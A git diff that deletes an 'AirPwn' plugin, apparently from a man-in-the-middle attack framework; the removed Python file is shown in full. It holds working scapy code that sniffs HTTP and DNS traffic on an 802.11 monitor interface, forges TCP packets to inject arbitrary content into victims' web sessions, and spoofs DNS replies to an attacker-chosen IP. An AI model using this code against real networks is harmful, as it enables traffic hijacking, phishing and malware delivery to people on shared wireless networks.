diff --git a/plugins/AirPwn.py b/plugins/AirPwn.py
deleted file mode 100644
index 0052da3..0000000
--- a/plugins/AirPwn.py
+++ /dev/null
@@ -1,137 +0,0 @@
-# Some of this code was stolen from https://jordan-wright.github.io/blog/2013/11/15/wireless-attacks-with-python-part-one-the-airpwn-attack/
-
-from plugins.plugin import Plugin
-import threading
-import logging
-import sys
-import re
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  #Gets rid of IPV6 Error when importing scapy
-from scapy.all import *
-
-try:
-    from configobj import ConfigObj
-except:
-    sys.exit('[-] configobj library not installed!')
-
-class AirPwn(Plugin):
-	name = 'Airpwn'
-	optname = 'airpwn'
-	desc = 'Monitor traffic on an 802.11 network and respond with arbitrary content as configured'
-	has_opts = True
-
-	def initialize(self, options):
-		self.options = options
-		self.mon_interface = options.interface
-		self.aircfg = options.aircfg
-		self.dnspwn = options.dnspwn
-
-		if os.geteuid() != 0:
-			sys.exit("[-] AirPwn plugin requires root privileges")
-
-		if not self.mon_interface:
-			sys.exit("[-] AirPwn plugin requires --miface argument")
-
-		try:
-			self.aircfg = ConfigObj("./config/airpwn.cfg")
-			#Here we compile the regexes for faster performance when injecting packets
-			for rule in self.aircfg.items():
-				rule[1]['match'] = re.compile(r'%s' % rule[1]['match'])
-				if 'ignore' in rule[1].keys():
-					rule[1]['ignore'] = re.compile(r'%s' % rule[1]['ignore'])
-
-		except Exception, e:
-			sys.exit("[-] Error parsing airpwn config file: %s" % e)
-
-		print "[*] AirPwn plugin online"
-		t = threading.Thread(name='sniff_http_thread', target=self.sniff_http, args=(self.mon_interface,))
-		t.setDaemon(True)
-		t.start()
-
-		if self.dnspwn:
-			print "[*] DNSpwn attack enabled"
-			t2 = threading.Thread(name='sniff_dns_thread', target=self.sniff_dns, args=(self.mon_interface,))
-			t2.setDaemon(True)
-			t2.start()
-
-	def sniff_http(self, iface):
-		sniff(filter="tcp and port 80", prn=self.http_callback, iface=iface)
-
-	def sniff_dns(self, iface):
-		sniff(filter="udp and port 53", prn=self.dns_callback, iface=iface)
-
-	def http_callback(self, packet):
-		if packet.haslayer(TCP) and packet.haslayer(Raw):
-			for rule in self.aircfg.items():
-				if 'ignore' in rule[1].keys():
-					if (re.search(rule[1]['match'], packet[Raw].load)) and not (re.search(rule[1]['ignore'], packet[Raw].load)):
-						# First we copy the original packet
-						response = packet.copy()
-						# We need to start by changing our response to be "from-ds", or from the access point.
-						response.FCfield = 2L
-						# Switch the MAC addresses
-						response.addr1, response.addr2 = packet.addr2, packet.addr1
-						# Switch the IP addresses
-						response.src, response.dst = packet.dst, packet.src
-						# Switch the ports
-						response.sport, response.dport = packet.dport, packet.sport
-						# Switch sequence and ack
-						response[TCP].seq = packet[TCP].ack
-						# Inject our data
-						response[Raw].load = open(rule[1]['response'], 'rb').read()
-						# Calculate new ack
-						response[TCP].ack = packet[TCP].seq + len(response[Raw].load)
-						# Delete packet checksums
-						del response[IP].chksum
-						del response[TCP].chksum
-						# Some scapy-fu to re-calculate all checksums
-						response = response.__class__(str(response))
-						# Send the packet
-						sendp(response, iface=self.mon_interface, verbose=False)
-						logging.info("%s >> Replaced content" % response.src)
-
-				elif 'ignore' not in rule[1].keys():
-					if (re.search(rule[1]['match'], packet[Raw].load)):
-						response = packet.copy()
-						response.FCfield = 2L
-						response.addr1, response.addr2 = packet.addr2, packet.addr1
-						response.src, response.dst = packet.dst, packet.src
-						response.sport, response.dport = packet.dport, packet.sport
-						response[TCP].seq = packet[TCP].ack
-						response[Raw].load = open(rule[1]['response'], 'rb').read()
-						response[TCP].ack = packet[TCP].seq + len(response[Raw].load)
-						del response[IP].chksum
-						del response[TCP].chksum
-						response = response.__class__(str(response))
-						sendp(response, iface=self.mon_interface, verbose=False)
-						logging.info("%s >> Replaced content" % response.src)
-
-	def dns_callback(self, packet):
-		if packet.haslayer(UDP) and packet.haslayer(DNS):
-			req_domain = packet[DNS].qd.qname
-			response = packet.copy()
-			response.FCfield = 2L
-			response.addr1, response.addr2 = packet.addr2, packet.addr1
-			response.src, response.dst = packet.dst, packet.src
-			response.sport, response.dport = packet.dport, packet.sport
-			# Set the DNS flags
-			response[DNS].qr = 1L
-			response[DNS].ra = 1L
-			response[DNS].ancount = 1
-			response[DNS].an = DNSRR(
-				rrname = req_domain,
-				type = 'A',
-				rclass = 'IN',
-				ttl = 900,
-				rdata = self.dnspwn
-			)
-
-			del response[IP].chksum
-			del response[UDP].chksum
-			del response[UDP].len
-			response = response.__class__(str(response))
-
-			sendp(response, iface=self.mon_interface, verbose=False)
-			logging.info("%s >> Spoofed DNS for %s" % (response.src, req_domain))
-
-	def add_options(self, options):
-		options.add_argument('--dnspwn', type=str, dest='dnspwn', help='Enables the DNSpwn attack and specifies ip')